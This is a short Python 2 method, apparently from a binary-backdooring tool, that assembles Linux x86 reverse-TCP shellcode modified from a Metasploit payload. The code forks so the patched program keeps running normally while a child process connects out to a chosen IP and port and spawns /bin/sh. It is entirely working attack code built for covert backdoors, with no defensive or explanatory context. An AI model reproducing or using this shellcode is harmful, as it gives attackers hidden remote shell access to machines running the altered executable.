'Modified from metasploit payload/linux/x86/shell_reverse_tcp
to correctly fork the shellcode payload and contiue normal execution.'

def reverse_shell_tcp(self, CavesPicked={}):

    if (self.PORT is None):
        print 'Must    provide    port'
        return False
    self.shellcode1 = 'j\x02X\xcd\x80\x85\xc0t\x07'
    self.shellcode1 += '\xbd'
    self.shellcode1 += struct.pack('<I', self.e_entry)
    self.shellcode1 += '\xff\xe5'
    self.shellcode1 += '1\xdb\xf7\xe3SCSj\x02\x89\xe1\xb0f\xcd\x80\x93Y\xb0?\xcd\x80Iy\xf9h'
    self.shellcode1 += self.pack_ip_addresses()
    self.shellcode1 += 'h\x02\x00'
    self.shellcode1 += struct.pack('!H', self.PORT)
    self.shellcode1 += '\x89\xe1\xb0fPQS\xb3\x03\x89\xe1\xcd\x80Rh//shh/bin\x89\xe3RS\x89\xe1\xb0\x0b\xcd\x80'
    self.shellcode = self.shellcode1
    return self.shellcode1
